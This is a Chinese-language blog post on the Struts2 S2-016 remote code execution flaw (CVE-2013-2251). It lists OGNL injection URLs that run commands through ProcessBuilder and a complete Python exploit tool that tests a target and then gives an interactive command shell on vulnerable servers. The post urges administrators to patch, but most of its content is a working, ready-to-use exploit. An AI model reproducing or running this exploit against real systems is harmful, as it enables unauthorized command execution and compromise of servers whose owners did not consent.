Struts2 遠程執行代碼（S2-016) 利用工具

7·17中午剛剛午睡醒來就看到幾個熟悉字眼——Struts2，遠程執行代碼。施特！難道繼上回<s:a>標簽后又新曝一個？本來還沒睡醒的一下子清醒了。一看果斷，緊接著某云就被刷屏了~~~一場腥風血雨畫面即將上演。。。

據報道，受影響版本是2.0.0-2.3.15，CVE編號：CVE-2013-2251。原因是因為參數action的值redirect以及redirectAction沒有正確過濾，導致允許***者在訪問使用Struts2的應用時遠程執行OGNL表達式

漏洞證明：

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-blank/example/X.action?redirect:%25{3*4}

http://host/struts2-blank/example/X.action?redirectAction:%25{3*4}

代碼測試：

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

官方已經更新補丁，管理員們速度打上，不然褲子被脫了還不知道。

URL：http://struts.apache.org/download.cgi#struts23151

下面show下python寫的利用工具【圖】

用GOOGLE一搜差點沒嚇尿，再次強烈建議管理今晚加班都要把這修補了！！！晚安

--------------------------更新py腳本代碼-----------------------------------------

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
#--------------------------------------
# Struts2 2.0.0 - Struts 2.3.15
# CVE-2013-2251
#---------------------------------------
#Copyright By  ,Terryll right Reserved
#author    date    comment
#Terry  2013-7-17  Created
import urllib
import urllib2
import re
import sys
url_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
def judge(url):
    #判斷是否存在該漏洞
    if url.endswith(".action") :
        try:
            url = url + url_exp
            #print url
            url_request = urllib2.Request(url)          
            response = urllib2.urlopen(url_request)
            res_html = response.read()
            #print res_html[:100]
            if res_html.find(">") > 0:
                return "Failed"
            else:
                return "OK"
            #print response.func_code
        except :
            return "ERROR"
    else:
        return "url error"
def get_args(argument):    
    #
    #轉化為參數的格式如：'ls','-al'
    #
    args = argument.split(' ')
    args_deal = ''
    for i in args:
        args_deal = args_deal + "'" + i + "',"
    args_deal = args_deal[:-1]
    return args_deal
def strip(str):
    #
    #去除首尾的\x00串
    #
    tmp = str.strip()
    blank_line=re.compile('\x00')
    tmp=blank_line.sub('',tmp)
    return tmp
def attack(url):
    #
    #DO IT
    #
    try:
        url_request = urllib2.Request(url)
        response = urllib2.urlopen(url_request)
        res_html = response.read().strip()
        return strip(res_html)
    except :
        return "ERROR"
if __name__ == '__main__':
       
    if len(sys.argv) > 1:
        #print get_url("ls -al")
        if judge(sys.argv[1]) == "OK":
            print "Success"
            pattern = re.compile(r'http[s]?://([\w\W]*?)/')          
            url = sys.argv[1] + url_exp
            hostname = pattern.findall(url)
            #print hostname[0]
            loop = 1
            while loop:
                string = raw_input(hostname[0] + " >")
                   
                if string.startswith("exit"):
                    break
                    loop=0
                if len(string) > 0:
                    url_ = url.replace("'whoami'",get_args(string))
                    #print url_
                    print attack(url_)
        else:
            print "Failed"
    else:
        print("No argument!")